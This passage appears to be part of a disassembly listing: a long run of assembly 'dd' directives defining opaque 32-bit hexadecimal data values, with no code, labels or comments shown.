		dd 0CFDBF280h, 0BD0167B0h, 0A3C10840h, 7AD06D17h, 181309AAh
		dd 0ED931B5Eh, 0E3D17604h, 0FF92B005h, 0C0685E02h, 0DC99FD10h
		dd 1CFFF6C8h, 0D0591954h, 103256EAh, 383112E8h,	2FFC50C8h
		dd 0E3790414h, 3B4DF54Bh, 0F8AAE989h, 0B15A50DEh, 20BA9E2Dh
		dd 0B47750ABh, 0EDED8167h, 830B7F70h, 7B1587B8h, 0D5330580h
		dd 18F3F84h, 0B5563950h, 0B251EE5Eh, 0BA103CEFh, 349B1E09h
		dd 212E2FCh, 5A928481h,	0BAE20A3Ch, 24BD2D6h, 5D6315F4h
		dd 28AAAA31h, 7E4F27CDh, 2CE458F9h, 5B4B4C04h, 2580DF09h
		dd 2773C7B9h, 21D461CAh, 844E9F20h, 436897C0h, 3A6A0725h
		dd 0D5D6295Ah, 8B4BD76Fh, 6012AEFFh, 0E1C7AADh,	60ECB701h
		dd 0CF026390h, 0E940B34Dh, 4094EA87h, 566EB0Eh,	1A1BC2Eh
		dd 31F399DAh, 4834323Ah, 92404C3Ch, 0B3E94504h,	0AA9AD5FBh
		dd 0FD206D82h, 0F6808000h, 7569E989h, 0D99200B9h, 0B8423B0Ch
		dd 8BC4BD63h, 79FF535Bh, 2B8D25EEh, 621044E9h, 68316180h
		dd 283B197Ah, 0B540FFD0h, 0E0C36B29h, 9C0802D9h, 0DFCE2525h
		dd 2C21DF49h, 3A172B5Fh, 0ED800860h, 6B79B501h,	0FEEAEE30h
		dd 73F4FACCh, 87EC0699h, 44AA57E9h, 0C1B9042Dh,	36BD819h
		dd 49CF80CDh, 0E1E6C49Dh, 0DF4499F5h, 0CCFC3E40h, 3446CBB6h
		dd 0BAC81E02h, 0FEE33ADDh, 0AC5B6326h, 0FC52102h, 75ED3861h
		dd 2505AB40h, 64BE4B16h, 702C5B1h, 0ACD55E5Bh, 8DC30B17h
		dd 251B945Dh, 0E2D6A26Eh, 6D1E6CEFh, 7CC0E25h, 0C0A015EBh
		dd 2D70DF62h, 973ACE09h, 0D2208F60h, 0F2CE9CFFh, 40401C5Fh
		dd 34082B05h, 5892273Eh, 0E45B62DCh, 0E64F96FCh, 88804FB8h
		dd 0C107E5C1h, 544E02F2h, 0BE8F45F9h, 0DF0C0C5Ah, 64E91822h
		dd 0D3F7AECAh, 0C4A392E4h, 10B0EA92h, 0EB7F5A3Bh, 1D64862Dh
		dd 0BD065F7h, 0EC127559h, 0D7A55A06h, 5CB6BA60h, 9C048D09h
		dd 161B332h, 79DF2EC8h
		dd 44271882h, 23E01A28h, 0BD9E9DE9h, 0AB4BE01h,	0BBE8126Ch
		dd 0A198BFC2h, 95005DFDh, 2D485863h, 7F74ED9Eh,	0EDC64F12h
		dd 0ACB2E42Ah, 7E9206D8h, 5A3B3705h, 712BE56h, 685146BFh
		dd 5C4A324Ah, 0CA1D5BDDh, 165ECB7Ah, 0A48EAA5Bh, 0B596317Eh
		dd 8428BAEAh, 0BD56815h, 135BA5CCh, 0E3B04DE9h,	768C9F6Ch
		dd 0A86410B3h, 807E5EDDh, 91E26B9h, 81972F27h, 5EBAF152h
		dd 0F90139B9h, 93407E4h, 5BF320DDh, 1324D395h, 4A37EB2Dh
		dd 59A0BE84h, 85DF4D01h, 964CE892h, 199698FFh, 2BB37E5Fh
		dd 749BF44Bh, 71470718h, 9F046486h, 0EA20D658h,	0FA312556h
		dd 0C8C5E07Dh, 0F394A8C4h, 340827Dh, 0C3898F1Ch, 6F753BF0h
		dd 61025D1Eh, 3A60B6E6h, 0F49785B4h, 6FB0C292h,	9924CD7h
		dd 174C541Fh, 825798C8h, 898D5627h, 0B563F7AAh,	0B5371FFh
		dd 47837F61h, 57992735h, 0C4EFA5DCh, 20FAF958h,	3AB035B8h
		dd 4D068030h, 4AABA52h,	0D11CAF46h, 1D01EDE2h, 61C28108h
		dd 0C05CAC35h, 7EC62229h, 8B79E6Fh, 540A877Bh, 0D10E858h
		dd 4FDABA25h, 39DD5C9Fh, 0DDA22CFFh, 0E893928Bh, 39BB5F85h
		dd 508E8010h, 0E909197Bh, 38D960A4h, 0DE0EC7BDh, 0F8BF3302h
		dd 789E9635h, 5AC3BD61h, 0C3C0699Fh, 2E0477BEh,	72A6E96Bh
		dd 5DB531AEh, 92AF05B3h, 1576AB2Dh, 0D64816BFh,	0C45E978Eh
		dd 0C3B2AAD1h, 0E5281981h, 0DBCE7B40h, 0F394A217h, 120E04DDh
		dd 0C91F5279h, 14C8D4A0h, 0F0957C09h, 0FEF20008h, 0E9F64E63h
		dd 37A4712Ch, 9862652Fh, 0B42877BDh, 2D176229h,	0E4CA8101h
		dd 0B8109CF8h, 50AF0323h, 80E91603h, 6EFD09AFh,	0E27C9041h
		dd 652C1D52h, 9559329h,	8FE964BEh, 2AB6F902h, 3C70AFB1h
		dd 18F4955Dh, 0B4F31C50h, 2E426B8Ah, 4F1F2AFEh,	140E3FD2h
		dd 0F725F005h, 0F100C6FAh, 2148147Bh, 6B9AE951h, 3EFE576Ch
		dd 64BFF20Fh, 0F2EE82EFh, 3A681C13h, 65C5EF66h,	0B385E156h
		dd 79AF91EBh, 0E805C25Bh, 3914C1A6h, 4E8B2047h,	0D9010F21h
		dd 0EE49CF88h, 0C8AC4A92h, 8D822D78h, 5574012h,	0CBAB5A8Bh
		dd 470E0773h, 0E7E04606h, 58521850h, 13022915h,	4F37A905h
		dd 0E3815B4Ah, 0E09C5140h, 955E38E9h, 1744B3E4h, 5F3D6ADAh
		dd 0F7A995C0h, 19116809h, 44208DC6h, 5963FAFEh,	9689D102h
		dd 294C3E52h, 73586060h, 1331FD7Eh, 1D7F74Fh, 0E546C8DEh
		dd 0AA08407Ch, 904B645Fh, 9FB4CE85h, 0D2125A66h, 20FFF3F6h
		dd 100DF6F3h, 0AD204CE1h, 0E2BDF45Ah, 0DF231D0Fh, 0E033693Fh
		dd 95E68830h, 7C5094D7h, 800209C0h, 0EBD73DF6h,	8A743910h
		dd 0B39DF2CAh, 5502B283h, 96AD9BB0h, 4685580h, 420A2D90h
		dd 82A8C75Dh, 19551CBDh, 3ACFF00h, 25A1080h, 941FE8BFh
		dd 0CD0874Ch, 9128A40h,	575F48F9h, 98454B0Ah, 0C0053BEFh
		dd 802D6C56h, 74BB9DA1h, 27F1EA4Ah, 0B701C62Dh,	125785Fh
		dd 718D2B54h, 0AAE90C03h, 59E1A2EAh, 0D84EA810h, 9E3D8A38h
		dd 7907CD1Bh, 0E9820548h, 32D1D715h, 5EB96809h,	0F608835h
		dd 1802D724h, 7E02C219h, 16D525DEh, 1558A803h, 28300470h
		dd 0FAF97FE9h, 83C32720h, 0BEC23E2Dh, 0D1DEE0B9h, 812E576Ah
		dd 0B801C767h, 0B43F9DAEh, 1A91F238h, 1839708h,	0CE4367B8h
		dd 4BD17E57h, 74511E16h, 0EA6C5E54h, 0AF30EFA4h, 0B2938CE9h
		dd 2DF025F5h, 4B0B0CF1h, 0C6A93A89h, 59D42017h,	34B46812h
		dd 0E0AA8D35h, 3985748h, 75B159C7h, 6059C802h, 5080E53Ch
		dd 4024A8CAh, 0C7B55BC6h, 0AC3A08F9h, 0E4AC5A16h, 0AC4B9E4Ch
		dd 0E4740445h, 84FECCA5h, 54DC4D6h, 97D401B0h, 0ED00C95Ch
		dd 51A1F381h, 3A565B3Fh, 535703D8h, 1F9F2BE9h, 801CBE58h
		dd 0ACBF6B20h, 1598D5EAh, 3FC9B20h, 7C6EBE56h, 49D97EB2h
		dd 0CD5838B0h, 0A330AF01h, 0EAD39739h, 0B5FB94AFh, 5EC4B9D6h
		dd 4D99B7CCh, 6B869F12h, 283B82A2h, 0AF0993F0h,	5D8FEBF2h
		dd 0B62570A5h, 57BD03E5h, 0A4476AA7h, 907432FBh, 7C251554h
		dd 0E6415A43h, 6C20F168h, 74F4C1E5h, 0A02A5346h, 3A189983h
		dd 0A8D263C4h, 107D0BC5h, 5776DE01h, 0F82F8969h, 7EB90B40h
		dd 28807F3Fh, 79AB72D9h, 0AECF3124h, 2D01AB2Eh,	34DE2CA1h
		dd 0BAB12Bh, 0C042E907h, 0C250809Eh, 2B82829Ah,	0FB5DBC03h
		dd 0D1310B80h, 0E9CA8780h, 359ABA61h, 0DB134209h, 7C85564h
		dd 0CB06B951h, 2998A1E3h, 13F24A92h, 858FEBBEh,	301F744Ah
		dd 36B850E4h, 65204000h, 70313905h, 72E91377h, 1531AF64h
		dd 109F8E20h, 0C93C89ACh, 196748A2h, 0D7647D74h, 30298DAFh
		dd 1A455ED7h, 2D3D27FCh, 36F57EE8h, 6A681410h, 0EC805615h
		dd 9638A2Bh, 90B3F24Eh,	32E6EA80h, 68152870h, 2C421683h
		dd 0F908495Eh, 299A3AB4h, 2F7F0A78h, 778A0CFAh,	0E8594180h
		dd 5E97FB53h, 3EE978E8h, 5220AD64h, 1F45C3B0h, 4B3A9544h
		dd 7FDCAC58h, 2FC9E04Fh, 0ED135C1Ah, 2C8D7CE8h,	86005D35h
		dd 0C1B8FFE9h, 71FDED05h, 5AA50E3h, 0E341BEA0h,	0B1DCD394h
		dd 0B408A02h, 0F78223BCh, 5FC44583h, 0F472F499h, 1AC079B4h
		dd 625E055Dh, 0E9027B0Eh, 0E24B8A7Ch, 7799104Ch, 0AEA0E14Ah
		dd 5952C2A1h, 90B1409Fh, 2538E980h, 0E61FA768h,	69D520E0h
		dd 39A6BB4Ah, 6C810C19h, 29E26A59h, 0B441277Bh,	19AE3A75h
		dd 0C12B49C0h, 17DEE13h, 0C02ED0F7h, 0FF8C95BBh, 857D19E3h
		dd 4CF21910h, 4A5E2740h, 0C0DB5DFFh, 0E98FBA24h, 0B44922Ch
		dd 6CD81E63h, 0C2825CC6h, 6A3BBD92h, 22C9BE36h,	0DE35E9D4h
		dd 0B2BD01E4h, 0E9794C44h, 0EAD07E68h, 27540BEBh, 0BE7C3E6Fh
		dd 0F99D08A0h, 32DF6944h, 0AC545509h, 0E2E9E3D3h, 1A51DDEEh
		dd 182CF39Dh, 0BF3B3E9Ch, 1FF4F7Eh, 5034680Dh, 4EF12A74h
		dd 29F43FD9h, 0FB5B5AD9h, 0ACE96642h, 79C7D57Bh, 552F0927h
		dd 75CB3479h, 2EB5EF39h, 0AFCBC6D0h, 59875C2Bh,	0EAC67B12h
		dd 0BA192D88h, 0DBF600F6h, 2097F380h, 0EDEC5BDDh, 0EB28BB0Fh
		dd 45C38559h, 0FC5737C4h, 52B938ABh, 0B7CFBA00h, 0D105773Eh
		dd 74D03A1Bh, 37256B80h, 33352D4Ch, 0E9270604h,	39AB4BABh
		dd 0FE12A59Ch, 3502D293h, 2A7075E9h, 28FB5C5Eh,	0B449F17Ch
		dd 12927EC3h, 0B0F3E520h, 73E0000h, 0CD814F35h,	4093A44h
		dd 0E064E978h, 134BBD49h, 63B1B2Ch, 0C2F4718h, 0A2D1D09Dh
		dd 6CF05DA6h, 0E14E71BDh, 76A145E9h, 4B091100h,	6055B810h
		dd 6C06CF86h, 0C97C9554h, 50ADE98Bh, 0F6802E0Fh, 8EB408F6h
		dd 3121602Fh, 2D2B7BE1h, 0F6BA9EE2h, 3A66D1F7h,	4F9A680Bh
		dd 0B6E4775h, 81E6755Bh, 5EA42E59h, 2E27BA8h, 0E925B6ECh
		dd 351460A3h, 5B71E080h, 0EC3CC425h, 0D829A13Ch, 0FEC2C22Fh
		dd 0B5E93457h, 71A85240h, 481A3F1Ch, 5C3DE949h,	0B148253Ah
		dd 0FA2D3B72h, 44C5826Bh, 15787969h, 8925DC2Eh,	0B0B36A05h
		dd 521C5A64h, 0D01DE7B2h, 0CFB7538Fh, 1EB30F80h, 55BA0AF2h
		dd 0C0F7AF89h, 3428F188h, 85065BF8h, 0F24EDCBh,	0CE658BE7h
		dd 9EFC151h, 55FE2024h,	0C8E988C0h, 660339B4h, 0C9EA2858h
		dd 0E4748449h, 0BDDE7389h, 6BD37AE1h, 0CFEC569Dh, 0B5E8B7EFh
		dd 0BB051B0Dh, 7D90680Eh, 58B0D8h, 8179D576h, 0A168ABE3h
		dd 91A0174Eh, 1ACA25E7h, 0E941CEF4h, 8C2BCC73h,	5940B560h
		dd 29FA7F01h, 81C5B87Eh, 0E677F5BFh, 2AC0F525h,	9CBDB700h
		dd 1403D54h, 0DCE58145h, 20146667h, 34142E96h, 3C92F4Ah
		dd 46A2ECE1h, 57BDCAE9h
		dd 1CD1A09Ch, 64A65B8Eh, 5F07E240h, 957340A5h, 157D95Dh
		dd 523EF4Ch, 7E2919B6h,	0DCC920BFh, 6C76F508h, 9941F204h
		dd 81FFD38Ah, 0A7217A7Fh, 4272ACE1h, 0C9660586h, 0AEE2D15Ch
		dd 9B41B503h, 0B40032Bh, 29A9CBB1h, 29AB325Eh, 17E26F18h
		dd 0E85E5AC4h, 6318DC1h, 20A9568h, 0BC83027h, 0CB012E71h
		dd 2EAAE0E9h, 357A038Dh, 685B02D0h, 9FE60D42h, 162703B0h
		dd 65005E86h, 7E5CA11Fh, 2F2D65FCh, 47B6D481h, 0CC03E980h
		dd 0D073CAE6h, 8B6CF2FEh, 40DC0E51h, 0C64A0160h, 0E983FDF2h
		dd 2F2F0EDBh, 21753E3h,	7D53613h, 7E3FE780h, 56250E9Dh
		dd 0EF6575F7h, 569CE0AFh, 16723EB4h, 5987EE83h,	0C053130h
		dd 1B75154Fh, 80B50EBh,	5C2CD251h, 88DE7558h, 58175A85h
		dd 0C7E701FBh, 310AEA63h, 0B8AFA09Bh, 993DF2BDh, 75021E97h
		dd 5E46ECEBh, 631C65B2h, 96552FB9h, 72DA204Fh, 0EAE316B4h
		dd 0AE194A9Ah, 7F4B2C01h, 13AC6E3Ah, 6F600B47h,	46780277h
		dd 0CC7709EEh, 535B4EDBh, 4B08A44Ch, 7BAD2FE7h,	0F1E9B85Eh
		dd 0E32F6C31h, 131AD422h, 0C6069D1h, 261E3CA8h,	6200310Eh
		dd 0A477509Ah, 0A3EF2181h, 5CFA4D7Ah, 138BF66Ch, 0EFBF66E9h
		dd 0D3FAB734h, 0BBB48B1Fh, 0DD72722Dh, 89F01ACBh, 29C8535Ah
		dd 33765AB5h, 14C45F98h, 0CD0524F3h, 8527B70Eh,	0EAC54278h
		dd 0B80234B8h, 6CBF65C0h, 0A000C0FDh, 0DA7763h,	887CD20Dh
		dd 3F51053Ch, 22729631h, 0E248EFE9h, 0A6C85F68h, 0E364106Eh
		dd 76D9FB4Ah, 8BCBB67Ah, 8F39F46Dh, 0BDA44047h,	78F9F271h
		dd 0C2E13A75h, 98A3FBFFh, 0C3212BA8h, 0D7CCD0C9h, 0EB7DB76Eh
		dd 0EB61D30h, 0C46C6268h, 14AC7077h, 7EC9052Dh,	80AE2F02h
		dd 708EE10h, 1C68170Ah,	69BF6E48h, 12007978h, 7F4E54F4h
		dd 0B8683C04h, 16B0A359h, 34A455A9h, 21055AFFh,	2C31EDBFh
		dd 5553872Bh, 0DE6C97A2h, 0C302EB0Dh, 5105AECAh, 27A856C3h
		dd 3148F01Bh, 0BA95AE9Ah, 1B537570h, 0E5457F69h, 25F14308h
		dd 9D6C375h, 0FF9DE0Eh,	0F586895Fh, 0E73109C5h,	2B28B0BFh
		dd 21800993h, 4182D5C7h, 557B1337h, 14590856h, 9E82EAC5h
		dd 5E9E2587h, 2956B6Bh,	5C55E908h, 7042E5A2h, 2049764Ch
		dd 61AE4EC5h, 4732BDDh,	0A80BD484h, 0F608A156h,	673180DAh
		dd 8C30D3C1h, 50EBF0CBh, 49E365D1h, 5348EEF0h, 49546E1Dh
		dd 55CA29h, 0E96F6438h,	3B75418Ah, 662D1630h, 623F2C5Fh
		dd 7051496h, 2F055A24h,	57083D71h, 0E3501488h, 6DFF971Ch
		dd 510023EFh, 37656852h, 5A07347Dh, 29BF4338h, 0A8075EF2h
		dd 7B62B1DEh, 0ACAAD094h, 0DBBAD2DDh, 36050103h, 5B1DBD76h
		dd 0CB9EE87Bh, 7977C23Dh, 0EA7F2592h, 20CD5DFDh, 8A82ED9Bh
		dd 0E7FAF529h, 7084515Bh, 85D5B3AFh, 29C4C209h,	0A2E908FEh
		dd 0F7ED810Bh, 60CC7ACh, 4BC55216h, 8059BB5h, 3287020Dh
		dd 0D5E6B37Eh, 0BE56005Ah, 1CA7720Fh, 0FA599F29h, 0C28CF649h
		dd 0C00174BAh, 0B83E08EAh, 158ACAECh, 0E2C00207h, 0FEF28030h
		dd 920F77E9h, 74BA761Eh, 0DAF73B65h, 733C5CCh, 51FB0409h
		dd 6D35B9E8h, 0A0C8E92Fh, 4925916Fh, 646AF42Dh,	0C24F70A0h
		dd 0F00CE70h, 9FE71684h, 68C0ED7Eh, 9E475ABh, 564E5E43h
		dd 0E933385Dh, 97A46E99h, 806326Fh, 5A27736Fh, 0C246D47Dh
		dd 0E9012984h, 0F26A7C6Fh, 8F6E859Eh, 0FB68E4EFh, 35A31F4Bh
		dd 714C333Ah, 812B56CFh, 0EF815C7Eh, 6F8016Dh, 0B4D75432h
		dd 2C128457h, 0AC0123E6h, 6172579Eh, 13B4D530h,	0B71C5019h
		dd 0FCE90C08h, 5EB614Ch, 73017EEAh, 0F327C059h,	105B4E76h
		dd 62C413E1h, 0E60F40D2h, 17AE3C12h, 0D9FC51A5h, 419F25EDh
		dd 80754642h, 63B85068h, 757EC3Dh, 0F758C309h, 3068B1D3h
		dd 86302A5Fh, 286B0616h, 3489B863h, 0AFE844A4h,	4A10B2F8h
		dd 0D7871384h, 0AB232F16h, 6D5EF1D1h, 0B9719C2Eh, 46492702h
		dd 0F0DFE966h, 0D5881C08h, 86BEC53h, 983F313Ch,	0AC5A6E24h
		dd 5214482Ch, 0EB15E817h, 0E9B25346h, 9207B790h, 0C4041F5Dh
		dd 1D32EEABh, 461677C2h, 0F2445C9Dh, 8DBD5177h,	301CB2F1h
		dd 80AF720h, 0FD473E79h, 0BE03A210h, 41922F86h,	557542D1h
		dd 91DD1A40h, 793CC2D5h, 0B47FAD69h, 0A2E912CEh, 66E6BAC5h
		dd 44550992h, 57700D7Eh, 60680951h, 3884E54Ch, 80FFA041h
		dd 424F37Ah, 2C1D6EEEh,	24EF3D35h, 1FB2AFE6h, 0AD62CB9Fh
		dd 2DB16C7Fh, 0BBE65BDAh, 176E289Ch, 83776421h,	1013CA2Bh
		dd 5B25BEE7h, 0C77E89F7h, 1C6824E8h, 58F532Ch, 0BF3FF9CDh
		dd 89574570h, 5B0295D7h, 65ED2E9h, 528A392Fh, 1F1BB120h
		dd 0F178D862h, 7490E9BCh, 0E897093Ah, 3F6BD60Ah, 21325F6h
		dd 0AF8AFB97h, 1F6CDC10h, 5B93FA08h, 0FF7F8B09h, 2E7E7EA2h
		dd 5D88770Bh, 39DA06E8h, 0EB4F5E03h, 0E90B1BADh, 0BC5CA9D8h
		dd 9B92074Bh, 37BF0118h, 200DEE49h, 1A0DC235h, 50471DC5h
		dd 4D929644h, 0F215585Dh, 0C8B45440h, 603A99F2h, 215A5B52h
		dd 0A6495B9Fh, 77874246h, 67B28963h, 51160751h,	0F6008AA6h
		dd 0B9129901h, 732F7CFEh, 0BB838329h, 419C82B1h, 4D32C363h
		dd 0A65E815Fh, 26F2DFDh, 2F786855h, 0F869DD4Bh,	3C403106h
		dd 18143AD2h, 730C75C9h, 44FF2E76h, 7A4F0B67h, 99DF544Eh
		dd 121B658Eh, 7F4DDBAh,	9232F28Bh, 74F587Eh, 120E9D60h
		dd 0DAB7B7AFh, 0E998DE6Ah, 6880815Fh, 98784540h, 0E48B84C5h
		dd 71251432h, 0E10FE0CCh, 2FE37B23h, 0C1801EE9h, 200CEE80h
		dd 0D1F4F150h, 0C970FC97h, 97723EFFh, 17941677h, 41DF15E9h
		dd 1E6B9955h, 1CD97817h, 0F52544B8h, 0AA280CC7h, 28182005h
		dd 0B0FE4676h, 0E92C0810h, 2C87C964h, 0C500592Fh, 4CE58058h
		dd 98382262h, 0AFBA6EE2h, 499368F5h, 0BFE492A7h, 415F7C89h
		dd 0C46ACB78h, 8C99FB78h, 0C00AD4F0h, 44A7B962h, 80BF30FCh
		dd 0F18141A7h, 557805B7h, 0EC18E9F9h, 59A67BAh,	32A2E82h
		dd 0A2F358BBh, 9AB9013h, 0EBE8AC4Eh, 0BDD16363h, 60CE88B1h
		dd 41471FDh, 0CAE9541Bh, 0DF11678h, 882BE8F5h, 0B2C8515Bh
		dd 58BD00CEh, 1CF8F15h,	0D909CCC2h, 0C39A805Bh,	241D4AC4h
		dd 5BB5F131h, 0ADE2B8DEh, 0FDF2C99Fh, 9C35C5E1h, 2B73B088h
		dd 1229F728h, 7DAD90DCh, 51525898h, 2823B900h, 5FBA09F0h
		dd 2770B6Ch, 2A6086E9h,	9727685Ch, 347C4640h, 0FF1C8D43h
		dd 0A05A698Fh, 7A2F6FEDh, 0A0D6FE4Bh, 2ACD8108h, 54CD066Fh
		dd 5500825Bh, 5D126ABDh, 0F2F6B963h, 0E9913982h, 8B5296AFh
		dd 708A7DA0h, 0F8D7F32Fh, 41D91CCh, 0B27D9EE9h,	0D15F78D8h
		dd 8EAA79C5h, 9E086891h, 4FB812Fh, 0EB41282Fh, 0C204FEB7h
		dd 0E8E86AA3h, 0D1B55F88h, 0ABC7C0A5h, 5B279934h, 1834201h
		dd 9BB0E908h, 23939A2Ah, 0B60F8502h, 20B0AFC0h,	0BD6940E2h
		dd 923DF376h, 70326A4h,	0B22359AFh, 70625B3Ch, 8EBB9C0h
		dd 0EDDA3F13h, 30B75100h, 5FE96C34h, 4B9AE148h,	20A85AEBh
		dd 0C990DBC9h, 0C7E659C8h, 8C1AD3A9h, 2B3ADD77h, 5126601Fh
		dd 0FA4302E6h, 0D5273D7Bh, 4E9BC666h, 6A9296D8h, 66206598h
		dd 0EE4E987Bh, 0EC460470h, 0BBCA0992h, 0C68734E5h, 5BB05725h
		dd 28E39B11h, 80564EADh, 0C9DFC5E8h, 7CDC167Ch,	0DE2F12A6h
		dd 5FDBC37Ah, 0FA5D2912h, 0EB13B4BBh, 0BE0E090Fh, 296DA960h
		dd 0A8B35EFEh, 4C440463h, 0D0012295h, 28E9FEC9h, 7FB89F4Eh
		dd 0B7187C4h, 2111F766h
		dd 5ADD5205h, 0E9E140D1h, 0ED81843Ch, 6FF302EAh, 0E6A72F13h
		dd 53EBD4Ah, 43BC1033h,	1F7C8405h, 933CB161h, 0F703EE7Dh
		dd 0E7B141Eh, 21C8F8FBh, 0B233E9C1h, 0B25022BFh, 9C8F639h
		dd 5FD5F7h, 63549B1h, 0EA7EBD24h, 1C250BBEh, 5F6FAB7Fh
		dd 2F68C1C9h, 0F70B3BC7h, 642E7C15h, 5D206F80h,	9546C768h
		dd 11C9FD79h, 9E68F825h, 80CBFE05h, 0FA49E0C3h,	3F02DF91h
		dd 0FF896F25h, 0BADE0582h, 0EB167C0Ah, 37F0EC24h, 343A1221h
		dd 21D5632h, 8D1AE9D4h,	5A090E5Ah, 52706B68h, 0F46EB26Fh
		dd 8B3849E0h, 5E3AF981h, 0C8D7E205h, 4B116819h,	84D0E95Ah
		dd 0BB13E140h, 2109CA16h, 75A22B98h, 7C25AB97h,	0CAA351FBh
		dd 67E13F68h, 17CEB880h, 0B441BA64h, 2B0454EFh,	440179FCh
		dd 580C0B64h, 0A5C56D77h, 1DFA4AA2h, 0D56ADA22h, 0F31363D1h
		dd 0E516325Eh, 5C1778FEh, 2734E2A4h, 0B2E64490h, 2E02A64Bh
		dd 548E4575h, 0E24AE45Fh, 0F0D2CDFCh, 3904A0C7h, 13E94666h
		dd 615978D2h, 83817F16h, 0A153F9C6h, 30007541h,	4502995Dh
		dd 81E9660Ch, 117175ACh, 0CEFEDE07h, 4E9FA5C3h,	0E679F019h
		dd 0C26B31Bh, 249CC90Ch, 0E0AD44C1h, 0C097A1F2h, 0BFCB52DEh
		dd 0D5825496h, 53BD90F8h, 5598BE42h, 12C1ADA7h,	2F175212h
		dd 0EE70B707h, 8EE9DB50h, 9DABB29Bh, 0EA2058DAh, 705A4866h
		dd 5EC0834Eh, 14D43602h, 0E04F532Fh, 0F395409h,	30E97FA2h
		dd 358D255h, 1F2DD810h,	50CF24BDh, 5EA8908h, 0A25280A3h
		dd 0C01103CDh, 0AE047F97h, 67ACB780h, 0A3474807h, 0C34A206h
		dd 0A301F259h, 0F733CF03h, 0B7404BD3h, 160B56F5h, 0CB29A6h
		dd 685BDE14h, 88824D50h, 8180B65Dh, 9E5EC6F5h, 9239056h
		dd 1DFB2522h, 1BD0AF80h, 97C06E1h, 0C965E916h, 24F60C21h
		dd 802182EFh, 0CD685EC1h, 0BC6BE165h, 33E0A734h, 1403AD7Dh
		dd 91E7D15Fh, 472C1500h, 0AEBE916h, 8988F195h, 0FA673087h
		dd 0DDB55104h, 26F1ECABh, 0FC1297BAh, 0E6E430B1h, 70EEF80Eh
		dd 5AF33CEFh, 0BBCEBAEh, 0F01E2486h, 5031577Fh,	5AD7B727h
		dd 75240D70h, 0A6C19758h, 0B9F08C6Dh, 0BD893338h, 565AFCDEh
		dd 203316B3h, 3EEEC18Eh, 4160D890h, 5D61880Eh, 5B7897AEh
		dd 97B52D3Fh, 0B81256F9h, 0BBA4B9E9h, 0C2D49CFDh, 43FB993h
		dd 19E81467h, 4AAF62ABh, 702FC174h, 9B868B98h, 0A6EDB171h
		dd 0C5EDDDC1h, 3885E9D4h, 8FDFFF9Ch, 1B3326FBh,	29C00D8Ch
		dd 0D9F812C2h, 894807BCh, 0E9F321D6h, 3FE8DE9Ah, 0F3BC42C7h
		dd 22FE256Fh, 6FB80941h, 40C0334Fh, 3410935h, 0E2FE0FB3h
		dd 0C8F04845h, 2CDDEA7Ah, 8A950FDh, 5E001C77h, 1682AB2Dh
		dd 4AC2F64Ah, 0E5BEBD7Eh, 29DA00FFh, 59657678h,	7E9C112h
		dd 0B980A08h, 0DC5CD830h, 0AA16E268h, 0F6AA3134h, 2776266Ah
		dd 0FA4176ADh, 426159DDh, 96C48BE9h, 0A62C103h,	0B72930A1h
		dd 5A08D48Fh, 133E1CB0h, 0E001B650h, 15400327h,	6F54B45Ah
		dd 0B8A9948Bh, 0E927F6BCh, 0CED848C3h, 0EB2B138Dh, 0DC100063h
		dd 0E90FC861h, 0CE52502Fh, 0FCC2D641h, 1B0F0FB6h, 0E7101791h
		dd 80CA5F06h, 25502124h, 0D14C41F5h, 0B573EE3Ch, 0F3934679h
		dd 0CB81A840h, 0E5A459A6h, 6650FA38h, 0B67109F1h, 2C0CE902h
		dd 4F0BC629h, 0EA0F1504h, 5D08008Bh, 272F7A2Dh,	835003F0h
		dd 0C1510782h, 57DBA949h, 7997AD1Eh, 63FB08CDh,	0F60C591Ah
		dd 0D35C27A1h, 1D816678h, 452AF9E7h, 0D70AE956h, 77BF3077h
		dd 295D3FD0h, 59D81664h, 3958FAB3h, 0B020F358h,	4508351Ch
		dd 71A56E7h, 0AE8DE205h, 0E0ABE9C4h, 3E03B911h,	51E42ADEh
		dd 0B89C165Dh, 6305D277h, 469C556h, 0E8A1A169h,	328AD2Bh
		dd 77C82826h, 1664C429h, 26E7E30Ch, 7122051h, 7EB259B4h
		dd 5DC64CFFh, 616CEA5Ah, 34684AE9h, 12EAFC7Ch, 228C3DD8h
		dd 5D024072h, 846545B7h, 0AC3B7DE9h, 0D231807Ch, 9D07B968h
		dd 6B487C99h, 0FA96E3BCh, 867F7DFh, 0CFA459E9h,	0ABD0FF5Eh
		dd 0B7502954h, 38F461E0h, 0E953E809h, 95BD58D1h, 619B9155h
		dd 52AD3F1h, 747057Bh, 0B5481FDAh, 2CEAB129h, 0B371124Bh
		dd 0D216E3B3h, 0C430F862h, 550F8C60h, 1CFB21C6h, 3980681Ch
		dd 1E55D25h, 0BAF0B08h,	84FF84BFh, 0DBF457ACh, 67A7250Eh
		dd 783D070h, 5449EEACh,	0A9FC0F80h, 50B7C1C8h, 0C1FDB22Fh
		dd 3A1A7EA8h, 2D67003Eh, 33E797Ch, 6EA5405Bh, 4F390E8h
		dd 0C209F80Eh, 7FFDAB58h, 113BEE48h, 0CC3FC51Eh, 0BEAACCB1h
		dd 2C197E95h, 0AB7B1377h, 95D98031h, 2E09B800h,	0C21F932Fh
		dd 16B4158h, 62B52708h,	5E847F5h, 36628868h, 230B3AFEh
		dd 847CCC65h, 0B5057795h, 70768155h, 0D3E26B28h, 39B450C0h
		dd 548E4C0h, 0D16C2D0Ch, 68558366h, 0AF8544DBh,	69D79FA6h
		dd 50DB39B3h, 8C4A7427h, 8033D27Ch, 899706E9h, 67657F31h
		dd 412BF127h, 6D61A3E9h, 428E0534h, 8E06A2Fh, 1DC70781h
		dd 6F78435Ah, 9A2E3520h, 0CA092D3Dh, 0FC7B2307h, 0C5AD1338h
		dd 53A2FA06h, 0FE617484h, 0D03FC231h, 20D92101h, 85822DE4h
		dd 37EA7EFAh, 0FF0CE2B0h, 8C0E71DFh, 0EBF79294h, 167C1DD4h
		dd 3FE36F35h, 3B03DA04h, 9762C21Eh, 99806009h, 476F029h
		dd 68405CBEh, 0DA87AEFAh, 0CBAE5DF5h, 91E91209h, 7CEB2DABh
		dd 6F3E0058h, 0EAE922F8h, 1734B19Eh, 5B52A8E0h,	4E1E2BFAh
		dd 5E8919E9h, 1848E45Fh, 0BFA1A9E9h, 0E3AC068h,	4E5E940Dh
		dd 5658259Bh, 0CD776913h, 0E57EA744h, 277E5552h, 0F8821DB4h
		dd 7FC089C9h, 2139C73h,	49C5755h, 69B6858h, 0FB7DA3D8h
		dd 0C1488C59h, 4D34FC57h, 0C6804932h, 0E921073Ah, 44461525h
		dd 68590962h, 0D556663Dh, 0D30B1C64h, 0B61C34F7h, 907188BFh
		dd 27F58007h, 58F60D83h, 0B531DBB4h, 73491012h,	0C8522E66h
